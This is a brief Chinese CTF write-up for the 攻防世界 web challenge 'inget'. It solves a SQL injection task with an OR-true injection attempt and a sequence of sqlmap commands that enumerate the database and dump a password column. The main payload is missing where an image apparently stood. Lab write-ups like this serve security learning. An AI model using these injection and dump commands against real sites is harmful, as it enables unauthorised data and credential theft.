[攻防世界]-Web:inget解析

查看网页

很明显，他是要我们输入id

这里我尝试了直接爆破，没有成功

解法一（用万能密码）：

payload如下：

我这里还尝试了id=1' or true # 没有成功，应该是题目把#给过滤了

解法二：

用sqlmap工具

用法：

-D 选择数据库

-T 选择表

-C 选择列

--tables 列出所有表

--columns 列出所有列

--dump 打印出数据

依次输入

sqlmap -u "网页地址?id=1" --dbs

sqlmap -u "网页地址?id=1" -D cyber --tables

sqlmap -u "网页地址?id=1" -D cyber -T cyber --columns

sqlmap -u "网页地址?id=1" -D cyber -T cyber -C pw --dump

如图